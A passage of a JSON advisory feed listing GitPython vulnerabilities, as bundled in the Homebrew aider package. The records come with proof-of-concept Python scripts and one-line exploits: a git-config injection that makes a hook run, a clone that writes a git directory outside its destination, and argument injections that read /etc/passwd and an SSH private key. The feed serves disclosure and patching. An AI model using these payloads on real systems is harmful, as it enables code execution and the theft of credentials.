`git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file <path> --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = <attacker path>\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"<repo>:<repo>/gitdb:<repo>/smmap\" python3 gitpython-002-poc.py <workdir>\n\nBenign: only writes/reads inside <workdir>. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string 'A\\nhooksPath = ../evil-hooks'.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = '\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n'\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it's inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write('#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" > \"%s\"\\nexit 0\\n' % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch's\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-284h-m62q-gf8w"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78676"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3786.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-config-injection"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78677","published":"2026-09-04T08:43:32Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-8mcc-hrx5-hvxc","CVE-2026-78677","PYSEC-2026-3787"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination","details":"- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=<path>`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: <path>`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n    Allow unsafe options to be used, such as ``--template`` and\n    ``--separate-git-dir``.\n```\n\ni.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n    \"--upload-pack\",\n    \"-u\",\n    \"--config\",\n    \"-c\",\n    \"--template\",\n    \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=<attacker path>` and GitPython executes `git clone -v --separate-git-dir=<attacker path> -- <url> <dest>` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there — an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython's own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` — `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` — `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` — docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` — `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` — which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No — `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`'s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No — confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path — `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) — i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one — currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n  PYTHONPATH=\"<repo>:<repo>/gitdb:<repo>/smmap\" python3 gitpython-001-poc.py <workdir>\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) > 1 else \"/tmp/gitpython-001-poc\"\n    src = os.path.join(workdir, \"src\")\n    dest = os.path.join(workdir, \"dest\")\n    sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n    target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n    for p in (src, dest, sentinel_dir):\n        os.makedirs(p, exist_ok=True)\n\n    # Minimal benign source repo to clone from.\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n    with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n        f.write(\"hello\\n\")\n    subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n    subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n    import git  # gitpython under test\n\n    print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n    assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n        \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n    )\n\n    try:\n        repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n    except git.exc.UnsafeOptionError as e:\n        print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n        sys.exit(1)\n\n    wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n        os.path.join(target_gitdir, \"config\")\n    )\n    gitlink_points_outside = False\n    with open(os.path.join(dest, \".git\")) as f:\n        gitlink = f.read().strip()\n        gitlink_points_outside = target_gitdir in gitlink\n\n    print(\"repo.git_dir =\", repo.git_dir)\n    print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n    print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n    if wrote_outside and gitlink_points_outside:\n        print(\"VULNERABLE: git directory created at attacker-controlled path \"\n              f\"outside the clone destination: {target_gitdir}\")\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: sentinel not observed\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78677"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2210"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78678","published":"2026-09-04T08:43:32Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-5xxx-qhh7-9287","CVE-2026-78678","PYSEC-2026-3788"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via Repo.blame()","details":"## Summary\n`Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).\n\n## Root Cause\n`unsafe_git_revision_options = [\"--output\",\"-o\"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision.\n\n## Impact\nArbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nresult = repo.blame(\"--contents=/etc/passwd\", \"a.txt\")\n# result rows carry the victim file's line text\n```\n\n## Attack Chain\n1. Entry: app calls `repo.blame(rev, file)` with attacker `rev=\"--contents=/etc/passwd\"` (or kwarg `contents=\"/etc/passwd\"`, or `-S`).\n2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `[\"--output\",\"-o\"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error.\n3. Sink: `self.git.blame(rev, \"--\", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`.\n4. Impact: blame result rows carry the victim file's line text.\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded.\n\n## Affected Versions\n`GitPython <= 3.1.58` (denylist present verbatim on the latest release tag).\n\n## Suggested Fix\nPrefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule \"the option takes a filesystem path\" rather than \"the option writes output\".\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-5xxx-qhh7-9287"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78678"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3788.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-repo-blame"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-78679","published":"2026-09-09T23:40:56Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-3wxw-xv34-2frg","CVE-2026-78679","PYSEC-2026-3837"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.59","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)","details":"## Summary\n`TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance).\n\n## Root Cause\nThe fix `3af0c251` added `unsafe_git_tag_options = [\"--file\",\"-F\"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference=\"--file=<path>\"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents.\n\n## Impact\nArbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`.\n\n## Proof of Concept\n```python\nfrom git import TagReference\nt = TagReference.create(repo, \"vpwn\", reference=\"--file=/home/app/.ssh/id_rsa\")\nprint(t.tag.message)   # contents of the file\n```\n\n## Attack Chain\n1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference=\"--file=/home/app/.ssh/id_rsa\"`.\n2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), [\"--file\",\"-F\"])` @ tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file=\"…\"` IS blocked; only the positional escapes).\n3. Sink: `repo.git.tag(*args, **kwargs)` @ tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`.\n4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read).\n\n## Bypass Evidence\nIndependently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate).\n\n## Affected Versions\n`GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files).\n\n## Suggested Fix\nInclude the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3wxw-xv34-2frg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-78679"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2208"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1b0d2d9b91575f7db44ef4ff58ac37fc9335e5f6"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-84377","published":"2026-10-01T10:18:31Z","modified":"2026-10-02T09:56:10Z","upstream":["GHSA-3cv6-jpf6-8222","CVE-2026-84377","PYSEC-2026-4066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.88.6","resource":"litellm","resource_purl":"pkg:pypi/litellm@1.81.10"}}],"database_specific":{"s